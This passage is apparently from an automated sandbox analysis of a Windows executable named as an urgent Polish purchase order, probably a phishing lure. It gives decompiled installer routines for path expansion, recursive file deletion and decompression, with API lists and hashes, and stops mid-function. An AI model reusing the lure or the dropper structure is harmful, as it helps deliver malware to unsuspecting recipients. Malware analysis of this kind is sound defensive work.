                                                                                              control_flow_graph 422 405d1b-405d26 423 405d28-405d37 422->423 424 405d39-405d4e 422->424 423->424 425 405f41-405f45 424->425 426 405d54-405d5f 424->426 428 405d71-405d7b 425->428 429 405f4b-405f55 425->429 426->425 427 405d65-405d6c 426->427 427->425 428->429 430 405d81-405d88 428->430 431 405f60-405f61 429->431 432 405f57-405f5b call 405cf9 429->432 433 405f34 430->433 434 405d8e-405dc3 430->434 432->431 436 405f36-405f3c 433->436 437 405f3e-405f40 433->437 438 405dc9-405dd4 GetVersion 434->438 439 405ede-405ee1 434->439 436->425 437->425 440 405dd6-405dda 438->440 441 405dee 438->441 442 405f11-405f14 439->442 443 405ee3-405ee6 439->443 440->441 446 405ddc-405de0 440->446 449 405df5-405dfc 441->449 444 405f22-405f32 lstrlenA 442->444 445 405f16-405f1d call 405d1b 442->445 447 405ef6-405f02 call 405cf9 443->447 448 405ee8-405ef4 call 405c57 443->448 444->425 445->444 446->441 451 405de2-405de6 446->451 460 405f07-405f0d 447->460 448->460 453 405e01-405e03 449->453 454 405dfe-405e00 449->454 451->441 456 405de8-405dec 451->456 458 405e05-405e20 call 405be0 453->458 459 405e3c-405e3f 453->459 454->453 456->449 465 405e25-405e28 458->465 461 405e41-405e4d GetSystemDirectoryA 459->461 462 405e4f-405e52 459->462 460->444 464 405f0f 460->464 467 405ec0-405ec3 461->467 468 405e54-405e62 GetWindowsDirectoryA 462->468 469 405ebc-405ebe 462->469 466 405ed6-405edc call 405f64 464->466 470 405ec5-405ec9 465->470 471 405e2e-405e37 call 405d1b 465->471 466->444 467->466 467->470 468->469 469->467 472 405e64-405e6e 469->472 470->466 475 405ecb-405ed1 lstrcatA 470->475 471->467 477 405e70-405e73 472->477 478 405e88-405e9e SHGetSpecialFolderLocation 472->478 475->466 477->478 480 405e75-405e7c 477->480 481 405ea0-405eb7 SHGetPathFromIDListA CoTaskMemFree 478->481 482 405eb9 478->482 483 405e84-405e86 480->483 481->467 481->482 482->469 483->467 483->478
                                                                                              C-Code - Quality: 74%
                                                                                              			E00405D1B(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t37;
				CHAR* _t38;
				signed int _t40;
				int _t41;
				char _t51;
				char _t52;
				char _t54;
				char _t56;
				void* _t64;
				signed int _t70;
				signed int _t75;
				signed int _t76;
				intOrPtr _t80;
				char _t82;
				void* _t86;
				CHAR* _t87;
				void* _t89;
				signed int _t96;
				signed int _t98;
				void* _t99;

				_t89 = __esi;
				_t86 = __edi;
				_t64 = __ebx;
				_t37 = _a8;
				if(_t37 < 0) {
					_t80 =  *0x422edc; // 0x707941
					_t37 =  *(_t80 - 4 + _t37 * 4);
				}
				_push(_t64);
				_t75 =  *0x423738 + _t37;
				_t38 = 0x4226a0;
				_push(_t89);
				_push(_t86);
				_t87 = 0x4226a0;
				if(_a4 >= 0x4226a0 && _a4 - 0x4226a0 < 0x800) {
					_t87 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t82 =  *_t75;
					if(_t82 == 0) {
						break;
					}
					__eflags = _t87 - _t38 - 0x400;
					if(_t87 - _t38 >= 0x400) {
						break;
					}
					_t75 = _t75 + 1;
					__eflags = _t82 - 4;
					_a8 = _t75;
					if(__eflags >= 0) {
						if(__eflags != 0) {
							 *_t87 = _t82;
							_t87 =  &(_t87[1]);
							__eflags = _t87;
						} else {
							 *_t87 =  *_t75;
							_t87 =  &(_t87[1]);
							_t75 = _t75 + 1;
						}
						continue;
					}
					_t40 =  *(_t75 + 1);
					_t76 =  *_t75;
					_t96 = (_t40 & 0x0000007f) << 0x00000007 | _t76 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t76 | 0x00000080;
					_t70 = _t76;
					_v24 = _t70;
					__eflags = _t82 - 2;
					_v20 = _t40 | 0x00000080;
					_v16 = _t40;
					if(_t82 != 2) {
						__eflags = _t82 - 3;
						if(_t82 != 3) {
							__eflags = _t82 - 1;
							if(_t82 == 1) {
								__eflags = (_t40 | 0xffffffff) - _t96;
								E00405D1B(_t70, _t87, _t96, _t87, (_t40 | 0xffffffff) - _t96);
							}
							L42:
							_t41 = lstrlenA(_t87);
							_t75 = _a8;
							_t87 =  &(_t87[_t41]);
							_t38 = 0x4226a0;
							continue;
						}
						__eflags = _t96 - 0x1d;
						if(_t96 != 0x1d) {
							__eflags = (_t96 << 0xa) + 0x424000;
							E00405CF9(_t87, (_t96 << 0xa) + 0x424000);
						} else {
							E00405C57(_t87,  *0x423708);
						}
						__eflags = _t96 + 0xffffffeb - 7;
						if(_t96 + 0xffffffeb < 7) {
							L33:
							E00405F64(_t87);
						}
						goto L42;
					}
					_t98 = 2;
					_t51 = GetVersion();
					__eflags = _t51;
					if(_t51 >= 0) {
						L13:
						_v8 = 1;
						L14:
						__eflags =  *0x423784;
						if( *0x423784 != 0) {
							_t98 = 4;
						}
						__eflags = _t70;
						if(_t70 >= 0) {
							__eflags = _t70 - 0x25;
							if(_t70 != 0x25) {
								__eflags = _t70 - 0x24;
								if(_t70 == 0x24) {
									GetWindowsDirectoryA(_t87, 0x400);
									_t98 = 0;
								}
								while(1) {
									__eflags = _t98;
									if(_t98 == 0) {
										goto L30;
									}
									_t52 =  *0x423704;
									_t98 = _t98 - 1;
									__eflags = _t52;
									if(_t52 == 0) {
										L26:
										_t54 = SHGetSpecialFolderLocation( *0x423708,  *(_t99 + _t98 * 4 - 0x18),  &_v12);
										__eflags = _t54;
										if(_t54 != 0) {
											L28:
											 *_t87 =  *_t87 & 0x00000000;
											__eflags =  *_t87;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v12, _t87);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t54;
										if(_t54 != 0) {
											goto L30;
										}
										goto L28;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L26;
									}
									_t56 =  *_t52( *0x423708,  *(_t99 + _t98 * 4 - 0x18), 0, 0, _t87); // executed
									__eflags = _t56;
									if(_t56 == 0) {
										goto L30;
									}
									goto L26;
								}
								goto L30;
							}
							GetSystemDirectoryA(_t87, 0x400);
							goto L30;
						} else {
							_t73 = (_t70 & 0x0000003f) +  *0x423738;
							E00405BE0(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t70 & 0x0000003f) +  *0x423738, _t87, _t70 & 0x00000040); // executed
							__eflags =  *_t87;
							if( *_t87 != 0) {
								L31:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t87, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L33;
							}
							E00405D1B(_t73, _t87, _t98, _t87, _v16);
							L30:
							__eflags =  *_t87;
							if( *_t87 == 0) {
								goto L33;
							}
							goto L31;
						}
					}
					__eflags = _t51 - 0x5a04;
					if(_t51 == 0x5a04) {
						goto L13;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L13;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L13;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L14;
					}
				}
				 *_t87 =  *_t87 & 0x00000000;
				if(_a4 == 0) {
					return _t38;
				}
				return E00405CF9(_a4, _t38);
			}





























                                                                                              0x00405d1b
                                                                                              0x00405d1b
                                                                                              0x00405d1b
                                                                                              0x00405d21
                                                                                              0x00405d26
                                                                                              0x00405d28
                                                                                              0x00405d37
                                                                                              0x00405d37
                                                                                              0x00405d3f
                                                                                              0x00405d40
                                                                                              0x00405d42
                                                                                              0x00405d4a
                                                                                              0x00405d4b
                                                                                              0x00405d4c
                                                                                              0x00405d4e
                                                                                              0x00405d65
                                                                                              0x00405d68
                                                                                              0x00405d68
                                                                                              0x00405f41
                                                                                              0x00405f41
                                                                                              0x00405f45
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405d75
                                                                                              0x00405d7b
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405d81
                                                                                              0x00405d82
                                                                                              0x00405d85
                                                                                              0x00405d88
                                                                                              0x00405f34
                                                                                              0x00405f3e
                                                                                              0x00405f40
                                                                                              0x00405f40
                                                                                              0x00405f36
                                                                                              0x00405f38
                                                                                              0x00405f3a
                                                                                              0x00405f3b
                                                                                              0x00405f3b
                                                                                              0x00000000
                                                                                              0x00405f34
                                                                                              0x00405d8e
                                                                                              0x00405d92
                                                                                              0x00405da2
                                                                                              0x00405da6
                                                                                              0x00405dad
                                                                                              0x00405db0
                                                                                              0x00405db4
                                                                                              0x00405dba
                                                                                              0x00405dbd
                                                                                              0x00405dc0
                                                                                              0x00405dc3
                                                                                              0x00405ede
                                                                                              0x00405ee1
                                                                                              0x00405f11
                                                                                              0x00405f14
                                                                                              0x00405f19
                                                                                              0x00405f1d
                                                                                              0x00405f1d
                                                                                              0x00405f22
                                                                                              0x00405f23
                                                                                              0x00405f28
                                                                                              0x00405f2b
                                                                                              0x00405f2d
                                                                                              0x00000000
                                                                                              0x00405f2d
                                                                                              0x00405ee3
                                                                                              0x00405ee6
                                                                                              0x00405efb
                                                                                              0x00405f02
                                                                                              0x00405ee8
                                                                                              0x00405eef
                                                                                              0x00405eef
                                                                                              0x00405f0a
                                                                                              0x00405f0d
                                                                                              0x00405ed6
                                                                                              0x00405ed7
                                                                                              0x00405ed7
                                                                                              0x00000000
                                                                                              0x00405f0d
                                                                                              0x00405dcb
                                                                                              0x00405dcc
                                                                                              0x00405dd2
                                                                                              0x00405dd4
                                                                                              0x00405dee
                                                                                              0x00405dee
                                                                                              0x00405df5
                                                                                              0x00405df5
                                                                                              0x00405dfc
                                                                                              0x00405e00
                                                                                              0x00405e00
                                                                                              0x00405e01
                                                                                              0x00405e03
                                                                                              0x00405e3c
                                                                                              0x00405e3f
                                                                                              0x00405e4f
                                                                                              0x00405e52
                                                                                              0x00405e5a
                                                                                              0x00405e60
                                                                                              0x00405e60
                                                                                              0x00405ebc
                                                                                              0x00405ebc
                                                                                              0x00405ebe
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405e64
                                                                                              0x00405e6b
                                                                                              0x00405e6c
                                                                                              0x00405e6e
                                                                                              0x00405e88
                                                                                              0x00405e96
                                                                                              0x00405e9c
                                                                                              0x00405e9e
                                                                                              0x00405eb9
                                                                                              0x00405eb9
                                                                                              0x00405eb9
                                                                                              0x00000000
                                                                                              0x00405eb9
                                                                                              0x00405ea4
                                                                                              0x00405eaf
                                                                                              0x00405eb5
                                                                                              0x00405eb7
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405eb7
                                                                                              0x00405e70
                                                                                              0x00405e73
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405e82
                                                                                              0x00405e84
                                                                                              0x00405e86
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405e86
                                                                                              0x00000000
                                                                                              0x00405ebc
                                                                                              0x00405e47
                                                                                              0x00000000
                                                                                              0x00405e05
                                                                                              0x00405e0a
                                                                                              0x00405e20
                                                                                              0x00405e25
                                                                                              0x00405e28
                                                                                              0x00405ec5
                                                                                              0x00405ec5
                                                                                              0x00405ec9
                                                                                              0x00405ed1
                                                                                              0x00405ed1
                                                                                              0x00000000
                                                                                              0x00405ec9
                                                                                              0x00405e32
                                                                                              0x00405ec0
                                                                                              0x00405ec0
                                                                                              0x00405ec3
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405ec3
                                                                                              0x00405e03
                                                                                              0x00405dd6
                                                                                              0x00405dda
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405ddc
                                                                                              0x00405de0
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405de2
                                                                                              0x00405de6
                                                                                              0x00000000
                                                                                              0x00405de8
                                                                                              0x00405de8
                                                                                              0x00000000
                                                                                              0x00405de8
                                                                                              0x00405de6
                                                                                              0x00405f4b
                                                                                              0x00405f55
                                                                                              0x00405f61
                                                                                              0x00405f61
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • GetVersion.KERNEL32(?,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,00404F4A,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000), ref: 00405DCC
                                                                                              • GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405E47
                                                                                              • GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405E5A
                                                                                              • SHGetSpecialFolderLocation.SHELL32(?,0040E8C0), ref: 00405E96
                                                                                              • SHGetPathFromIDListA.SHELL32(0040E8C0,Call), ref: 00405EA4
                                                                                              • CoTaskMemFree.OLE32(0040E8C0), ref: 00405EAF
                                                                                              • lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405ED1
                                                                                              • lstrlenA.KERNEL32(Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,00404F4A,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000), ref: 00405F23
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
                                                                                              • String ID: Ayp$Call$Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                                                              • API String ID: 900638850-1668395034
                                                                                              • Opcode ID: e57bde13a3ce28464dd087e4cc926d744cd5fee8b1e2ea9ac4f193307b0a4faa
                                                                                              • Instruction ID: 70d043a0125fa0970afc212ad974551980140434863585fcf13b89b4fbf53fe2
                                                                                              • Opcode Fuzzy Hash: e57bde13a3ce28464dd087e4cc926d744cd5fee8b1e2ea9ac4f193307b0a4faa
                                                                                              • Instruction Fuzzy Hash: AD61F471A04A01ABDF205F64DC88B7F3BA8DB41305F50803BE941B62D0D27D4A82DF5E
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 0040559B Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159filestringCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 484 40559b-4055c1 call 405859 487 4055c3-4055d5 DeleteFileA 484->487 488 4055da-4055e1 484->488 489 405764-405768 487->489 490 4055e3-4055e5 488->490 491 4055f4-405604 call 405cf9 488->491 492 405712-405717 490->492 493 4055eb-4055ee 490->493 499 405613-405614 call 4057b2 491->499 500 405606-405611 lstrcatA 491->500 492->489 495 405719-40571c 492->495 493->491 493->492 497 405726-40572e call 405ffd 495->497 498 40571e-405724 495->498 497->489 507 405730-405744 call 40576b call 405553 497->507 498->489 502 405619-40561c 499->502 500->502 505 405627-40562d lstrcatA 502->505 506 40561e-405625 502->506 508 405632-405650 lstrlenA FindFirstFileA 505->508 506->505 506->508 523 405746-405749 507->523 524 40575c-40575f call 404f12 507->524 509 405656-40566d call 405796 508->509 510 405708-40570c 508->510 517 405678-40567b 509->517 518 40566f-405673 509->518 510->492 514 40570e 510->514 514->492 521 40567d-405682 517->521 522 40568e-40569c call 405cf9 517->522 518->517 520 405675 518->520 520->517 526 405684-405686 521->526 527 4056e7-4056f9 FindNextFileA 521->527 534 4056b3-4056be call 405553 522->534 535 40569e-4056a6 522->535 523->498 529 40574b-40575a call 404f12 call 405bb4 523->529 524->489 526->522 530 405688-40568c 526->530 527->509 532 4056ff-405702 FindClose 527->532 529->489 530->522 530->527 532->510 543 4056c0-4056c3 534->543 544 4056df-4056e2 call 404f12 534->544 535->527 538 4056a8-4056b1 call 40559b 535->538 538->527 546 4056c5-4056d5 call 404f12 call 405bb4 543->546 547 4056d7-4056dd 543->547 544->527 546->527 547->527
                                                                                              C-Code - Quality: 98%
                                                                                              			E0040559B(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				signed int _v16;
				struct _WIN32_FIND_DATAA _v336;
				signed int _t40;
				char* _t53;
				signed int _t55;
				signed int _t58;
				signed int _t64;
				signed int _t66;
				void* _t68;
				signed char _t69;
				CHAR* _t71;
				void* _t72;
				CHAR* _t73;
				char* _t76;

				_t69 = _a8;
				_t73 = _a4;
				_v8 = _t69 & 0x00000004;
				_t40 = E00405859(__eflags, _t73);
				_v16 = _t40;
				if((_t69 & 0x00000008) != 0) {
					_t66 = DeleteFileA(_t73); // executed
					asm("sbb eax, eax");
					_t68 =  ~_t66 + 1;
					 *0x423788 =  *0x423788 + _t68;
					return _t68;
				}
				_a4 = _t69;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E00405CF9(0x420d10, _t73);
					__eflags = _a4;
					if(_a4 == 0) {
						E004057B2(_t73);
					} else {
						lstrcatA(0x420d10, "\*.*");
					}
					__eflags =  *_t73;
					if( *_t73 != 0) {
						L10:
						lstrcatA(_t73, 0x409014);
						L11:
						_t71 =  &(_t73[lstrlenA(_t73)]);
						_t40 = FindFirstFileA(0x420d10,  &_v336);
						__eflags = _t40 - 0xffffffff;
						_v12 = _t40;
						if(_t40 == 0xffffffff) {
							L29:
							__eflags = _a4;
							if(_a4 != 0) {
								_t32 = _t71 - 1;
								 *_t32 =  *(_t71 - 1) & 0x00000000;
								__eflags =  *_t32;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t76 =  &(_v336.cFileName);
							_t53 = E00405796( &(_v336.cFileName), 0x3f);
							__eflags =  *_t53;
							if( *_t53 != 0) {
								__eflags = _v336.cAlternateFileName;
								if(_v336.cAlternateFileName != 0) {
									_t76 =  &(_v336.cAlternateFileName);
								}
							}
							__eflags =  *_t76 - 0x2e;
							if( *_t76 != 0x2e) {
								L19:
								E00405CF9(_t71, _t76);
								__eflags = _v336.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t55 = E00405553(__eflags, _t73, _v8);
									__eflags = _t55;
									if(_t55 != 0) {
										E00404F12(0xfffffff2, _t73);
									} else {
										__eflags = _v8 - _t55;
										if(_v8 == _t55) {
											 *0x423788 =  *0x423788 + 1;
										} else {
											E00404F12(0xfffffff1, _t73);
											E00405BB4(_t72, _t73, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E0040559B(__eflags, _t73, _a8);
									}
								}
								goto L27;
							}
							_t64 =  *((intOrPtr*)(_t76 + 1));
							__eflags = _t64;
							if(_t64 == 0) {
								goto L27;
							}
							__eflags = _t64 - 0x2e;
							if(_t64 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t76 + 2));
							if( *((char*)(_t76 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t58 = FindNextFileA(_v12,  &_v336);
							__eflags = _t58;
						} while (_t58 != 0);
						_t40 = FindClose(_v12);
						goto L29;
					}
					__eflags =  *0x420d10 - 0x5c;
					if( *0x420d10 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t40;
					if(_t40 == 0) {
						L31:
						__eflags = _a4;
						if(_a4 == 0) {
							L39:
							return _t40;
						}
						__eflags = _v16;
						if(_v16 != 0) {
							_t40 = E00405FFD(_t73);
							__eflags = _t40;
							if(_t40 == 0) {
								goto L39;
							}
							E0040576B(_t73);
							_t40 = E00405553(__eflags, _t73, _v8 | 0x00000001);
							__eflags = _t40;
							if(_t40 != 0) {
								return E00404F12(0xffffffe5, _t73);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L33;
							}
							E00404F12(0xfffffff1, _t73);
							return E00405BB4(_t72, _t73, 0);
						}
						L33:
						 *0x423788 =  *0x423788 + 1;
						return _t40;
					}
					__eflags = _t69 & 0x00000002;
					if((_t69 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}



















                                                                                              0x004055a5
                                                                                              0x004055aa
                                                                                              0x004055b3
                                                                                              0x004055b6
                                                                                              0x004055be
                                                                                              0x004055c1
                                                                                              0x004055c4
                                                                                              0x004055cc
                                                                                              0x004055ce
                                                                                              0x004055cf
                                                                                              0x00000000
                                                                                              0x004055cf
                                                                                              0x004055da
                                                                                              0x004055dd
                                                                                              0x004055dd
                                                                                              0x004055dd
                                                                                              0x004055e1
                                                                                              0x004055f4
                                                                                              0x004055fb
                                                                                              0x00405600
                                                                                              0x00405604
                                                                                              0x00405614
                                                                                              0x00405606
                                                                                              0x0040560c
                                                                                              0x0040560c
                                                                                              0x00405619
                                                                                              0x0040561c
                                                                                              0x00405627
                                                                                              0x0040562d
                                                                                              0x00405632
                                                                                              0x00405642
                                                                                              0x00405644
                                                                                              0x0040564a
                                                                                              0x0040564d
                                                                                              0x00405650
                                                                                              0x00405708
                                                                                              0x00405708
                                                                                              0x0040570c
                                                                                              0x0040570e
                                                                                              0x0040570e
                                                                                              0x0040570e
                                                                                              0x0040570e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405656
                                                                                              0x00405656
                                                                                              0x0040565f
                                                                                              0x00405665
                                                                                              0x0040566a
                                                                                              0x0040566d
                                                                                              0x0040566f
                                                                                              0x00405673
                                                                                              0x00405675
                                                                                              0x00405675
                                                                                              0x00405673
                                                                                              0x00405678
                                                                                              0x0040567b
                                                                                              0x0040568e
                                                                                              0x00405690
                                                                                              0x00405695
                                                                                              0x0040569c
                                                                                              0x004056b7
                                                                                              0x004056bc
                                                                                              0x004056be
                                                                                              0x004056e2
                                                                                              0x004056c0
                                                                                              0x004056c0
                                                                                              0x004056c3
                                                                                              0x004056d7
                                                                                              0x004056c5
                                                                                              0x004056c8
                                                                                              0x004056d0
                                                                                              0x004056d0
                                                                                              0x004056c3
                                                                                              0x0040569e
                                                                                              0x004056a4
                                                                                              0x004056a6
                                                                                              0x004056ac
                                                                                              0x004056ac
                                                                                              0x004056a6
                                                                                              0x00000000
                                                                                              0x0040569c
                                                                                              0x0040567d
                                                                                              0x00405680
                                                                                              0x00405682
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405684
                                                                                              0x00405686
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405688
                                                                                              0x0040568c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004056e7
                                                                                              0x004056f1
                                                                                              0x004056f7
                                                                                              0x004056f7
                                                                                              0x00405702
                                                                                              0x00000000
                                                                                              0x00405702
                                                                                              0x0040561e
                                                                                              0x00405625
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004055e3
                                                                                              0x004055e3
                                                                                              0x004055e5
                                                                                              0x00405712
                                                                                              0x00405714
                                                                                              0x00405717
                                                                                              0x00405768
                                                                                              0x00405768
                                                                                              0x00405768
                                                                                              0x00405719
                                                                                              0x0040571c
                                                                                              0x00405727
                                                                                              0x0040572c
                                                                                              0x0040572e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00405731
                                                                                              0x0040573d
                                                                                              0x00405742
                                                                                              0x00405744
                                                                                              0x00000000
                                                                                              0x0040575f
                                                                                              0x00405746
                                                                                              0x00405749
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040574e
                                                                                              0x00000000
                                                                                              0x00405755
                                                                                              0x0040571e
                                                                                              0x0040571e
                                                                                              0x00000000
                                                                                              0x0040571e
                                                                                              0x004055eb
                                                                                              0x004055ee
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004055ee

                                                                                              APIs
                                                                                              • DeleteFileA.KERNELBASE(?,?,76283410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004055C4
                                                                                              • lstrcatA.KERNEL32(00420D10,\*.*,00420D10,?,?,76283410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040560C
                                                                                              • lstrcatA.KERNEL32(?,00409014,?,00420D10,?,?,76283410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040562D
                                                                                              • lstrlenA.KERNEL32(?,?,00409014,?,00420D10,?,?,76283410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405633
                                                                                              • FindFirstFileA.KERNEL32(00420D10,?,?,?,00409014,?,00420D10,?,?,76283410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405644
                                                                                              • FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004056F1
                                                                                              • FindClose.KERNEL32(00000000), ref: 00405702
                                                                                              Strings
                                                                                              • \*.*, xrefs: 00405606
                                                                                              • C:\Users\user\AppData\Local\Temp\, xrefs: 004055A8
                                                                                              • "C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe", xrefs: 0040559B
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                                                              • String ID: "C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe"$C:\Users\user\AppData\Local\Temp\$\*.*
                                                                                              • API String ID: 2035342205-3521949863
                                                                                              • Opcode ID: 4945869a0ddb89a28df30a02b37ec52cfc40d2726b5cdb6bcb57fc33eba49791
                                                                                              • Instruction ID: 44541a5d5af4c0b2911f4644f2fa5328a4f1ed3919081d24b86541679c9c03d6
                                                                                              • Opcode Fuzzy Hash: 4945869a0ddb89a28df30a02b37ec52cfc40d2726b5cdb6bcb57fc33eba49791
                                                                                              • Instruction Fuzzy Hash: 9F51CF30804A04BADF217A658C85BBF7AB8DF82318F54847BF445761D2C73D4982EE6E
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00406344 Relevance: 5.4, APIs: 4, Instructions: 382COMMONCrypto
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 98%
                                                                                              			E00406344() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
